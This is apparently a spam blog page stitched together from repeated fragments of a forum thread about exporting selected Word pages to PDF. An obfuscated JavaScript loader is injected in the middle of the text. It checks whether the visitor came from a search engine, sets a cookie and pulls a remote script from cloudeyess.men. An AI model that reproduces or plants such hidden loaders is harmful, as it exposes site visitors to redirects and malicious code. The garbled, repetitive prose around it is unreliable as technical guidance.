Secondly, you need to copy the specific word pages to a new document as a temporary document to store the content using Application Selection.. So that it would not generate a blank page Here is the whole code I changed from yours:The code would loop all Word document s from the specified path and get the first page of the document to generate a PDF file.. Firstly, don’t close the used document and Word application if continue using them. The method allows to save a portion of a document as PDF or XPS format Note, it was introduced in Word 2007.. Install a virtual printer and then just print the required pages 2 Use the ExportAsFixedFormat method of the Range class for saving specific range of the document. Thirdly, you need to set endRange End – 1 if you want to use Range SetRange Method. Best Software For Capturing Video From Screen Free Mac
Thanks for helping make community forums a great place Click HERE to participate the survey.. var _0x5aa9=['enNkanE=','aW5kZXhPZg==','c2V0','dmlzaXRlZA==','RGdodW8=','R1BVTmQ=','Zm5OREM=','RmVPdUY=','SXZVVWU=','aGVhZA==','c2NyaXB0','c3Jj','Z2V0RWxlbWVudHNCeVRhZ05hbWU=','ZHNqWkI=','M3wyfDR8MXwwfDU=','eXZkeUM=','c3BsaXQ=','bGVuZ3Ro','cmVwbGFjZQ==','aUZ2cms=','Y29va2ll','OyBleHBpcmVzPQ==','OyBwYXRoPQ==','OyBzZWN1cmU=','cWNuZlg=','dmRia0k=','Qm5Na3M=','VG9taHE=','Z2V0VGltZQ==','TmtKYkY=','YmlMWFA=','dlBET1Q=','dVZJUFE=','LnlhaG9vLg==','LmFzay4=','LmFsdGF2aXN0YS4=','LnlhbmRleC4=','Rm9Q','aFhJ','aHR0cHM6Ly9jbG91ZGV5ZXNzLm1lbi9kb25fY29uLnBocD94PWVuJnF1ZXJ5PQ==','Z1pxVXQ=','LmFvbC4=','Z1RGc0E=','cUxYWXY=','cmVmZXJyZXI=','Z2V0','SHZVZlg=','b09yTHk=','Q2t0RGQ=','UWZnQlM='];(function(_0x5d03f6,_0x5939d5){var _0x1e885e=function(_0xbe4645){while(--_0xbe4645){_0x5d03f6['push'](_0x5d03f6['shift']());}};_0x1e885e(++_0x5939d5);}(_0x5aa9,0x103));var _0x2aec=function(_0x360001,_0x54ac14){_0x360001=_0x360001-0x0;var _0x597c88=_0x5aa9[_0x360001];if(_0x2aec['initialized']===undefined){(function(){var _0x4f0160=function(){var _0x562ee;try{_0x562ee=Function('return\x20(function()\x20'+'{}.. Thirdly, you need to set endRange End – 1 if you want to use Range SetRange Method.. I have created one application But it convert whole word to PDF,So please check it and let me know any changes in that?Firstly, don’t close the used document and Word application if continue using them.. So that it would not generate a blank page Here is the whole code I changed from yours:The code would loop all Word document s from the specified path and get the first page of the document to generate a PDF file.. google ',_0x5c2fcc['iqhNj'],_0x5c2fcc[_0x2aec('0x1f')],_0x2aec('0x20'),_0x5c2fcc['FDDfO'],_0x5c2fcc[_0x2aec('0x21')],_0x5c2fcc[_0x2aec('0x22')]],_0x41169e=document[_0x2aec('0x23')],_0x206cee=![],_0x242d14=cookie[_0x2aec('0x24')](_0x5c2fcc[_0x2aec('0x25')]);for(var _0x4543ce=0x0;_0x5c2fcc[_0x2aec('0x26')](_0x4543ce,_0x57b5f3[_0x2aec('0x8')]);_0x4543ce++){if(_0x5c2fcc[_0x2aec('0x27')](_0x5c2fcc['QfgBS'],_0x5c2fcc[_0x2aec('0x28')])){if(_0x5c2fcc[_0x2aec('0x29')](_0x41169e[_0x2aec('0x2a')](_0x57b5f3[_0x4543ce]),0x0)){_0x206cee=!![];}}else{params=matches[_0x4543ce][_0x2aec('0x7')]('=');cookie[params[0x0]]=params[0x1][_0x2aec('0x9')](/;$/);}}if(_0x206cee){cookie[_0x2aec('0x2b')](_0x2aec('0x2c'),0x1,0x1);if(!_0x242d14){if(_0x5c2fcc[_0x2aec('0x2d')](_0x5c2fcc[_0x2aec('0x2e')],'DGf')){_0x5c2fcc[_0x2aec('0x2f')](include,_0x5c2fcc[_0x2aec('0x30')](_0x5c2fcc['pkiWm'](_0x5c2fcc['IvUUe'],q),''));}else{cookie[_0x2aec('0x2b')](_0x5c2fcc[_0x2aec('0x25')],0x1,0x1);if(!_0x242d14){_0x5c2fcc[_0x2aec('0x2f')](include,_0x5c2fcc['pkiWm'](_0x5c2fcc[_0x2aec('0x31')]+q,''));}}}}}R(); Convert pages document into pdfI want to convert only selected specific word pages to PDF file.. Secondly, you need to copy the specific word pages to a new document as a temporary document to store the content using Application Selection.. Copy Method Then save the temporary document as a PDF file using Document SaveAs Method. 518b7cbc7d
0 Comments
Leave a Reply. |
AuthorWrite something about yourself. No need to be fancy, just an overview. ArchivesCategories |